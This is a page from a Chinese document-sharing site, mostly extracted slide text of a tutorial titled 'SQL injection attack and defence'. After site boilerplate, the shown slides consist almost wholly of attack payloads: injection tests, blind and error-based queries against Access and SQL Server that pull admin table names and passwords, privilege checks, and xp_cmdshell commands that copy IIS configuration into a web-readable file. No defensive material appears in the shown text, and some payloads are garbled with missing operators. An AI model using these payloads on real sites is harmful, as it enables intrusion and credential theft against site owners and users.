- 1、原创力文档(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。。
- 2、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载。
- 3、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
- 4、该文档为VIP文档,如果想要下载,成为VIP会员后,下载免费。
- 5、成为VIP后,下载本文档将扣除1次下载权益。下载后,不支持退款、换文档。如有疑问请联系我们。
- 6、成为VIP后,您将拥有八大权益,权益包括:VIP文档下载权益、阅读免打扰、文档格式转换、高级专利检索、专属身份标志、高级客服、多端互通、版权登记。
- 7、VIP文档为合作方或网友上传,每下载1次, 网站将根据用户上传文档的质量评分、类型等,对文档贡献者给予高额补贴、流量扶持。如果你也想贡献VIP文档。上传文档
查看更多
SQL注入攻击与防御要点
SQL注入攻击与防御 SQL注入 SQL注入 这是一个Access数据库 SQL注入 静态网页: html或者htm,是一种静态的页面格式,不需要服务器解析其中的脚本。由浏览器如(IE、Chrome等)解析。 1.不依赖数据库 2.灵活性差,制作、更新、维护麻烦 3.交互性交差,在功能方面有较大的限制 4.安全,不存在SQL注入漏洞 动态网页: asp、aspx、php、jsp等,由相应的脚本引擎来解释执行,根据指令生成静态网页。 1.依赖数据库 2.灵活性好,维护简便 3.交互性好,功能强大 4.存在安全风险,可能存在SQL注入漏洞 SQL注入 SQL注入 SQL注入 如何判断? 1.单引号判断 2.数字型注入判断 ①and 1=1 and 1=2 and 1 is null and 1 is not null and user0 ②参数进行运算 +1 -1 +→%2B 3.字符型注入判断 ① and 1=1 and 1=2 4.搜索型注入判断 ①test% and 1=1 and %= test% and 1=2 and %= SQL注入 如何攻击? Access → 盲注 and exists(select * from table) and exists(select column from table) and (select top 1 len(id) from admin)0 and (select top 1 asc(mid(id,1,1)) from admin)X 无差异 → 构造差异 and iif((1=1),2,a)=2 and iif((1=2),2,a)=2 SQL注入 SqlServer 注入 → 三种权限 ①SA权限 可以利用MsSQL数据库自带的扩展存储(如:xp_cmdshell、xp_regwrite、sp_oacreate等)执行系统命令。 ②DB_OWNER权限 具有对当前数据库的修改、删除、新增数据表以及执行xp_regread、xp_dirtree等部分存储过程的权限。差异备份获取Webshell。 ③PUBLIC权限 权限最小,通常通过报错注入,盲注,从而获得后台管理员帐号密码。 SQL注入 如何判断权限? 1.有错误回显 ①and user0 2.无错误回显 ①and 1=(select is_member(dbo)) //网页返回正常,说明数据库管理权限为sa ②and 1=(select is_member(db_owner)) //网页返回正常,说明数据库管理权限为db_owner ③and 1=(select is_member(public)) //网页返回正常,说明数据库管理权限为public SQL注入 SqlServer → 盲注 and exists(select * from table) and exists(select column from table) and (select top 1 len(id) from admin)0 and (select top 1 ascii(substring(password,1,1)) from admin)X SQL注入 SqlServer → 报错 当前数据库有哪些表 and (select top 1 name from sysobjects)=1 and (select top 1 name from sysobjects where name not in (admin,bigclass))=1 表中的字段 and (select top 1 col_name(object_id(admin),1) from sysobjects)=1 字段的值 and (select top 1 password from admin)=1 SQL注入 SqlServer(sa权限) → 关闭错误提示 获取Web路径 ①win2003 exec master..xp_cmdshell copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404.html-- ②win2000 exec master..xp_cmdshell copy C:\Winnt\system32\inetsrv\MetaBase.xml C:\Winnt\Help\iisHelp\common\404.html-- SQL注入
文档评论(0)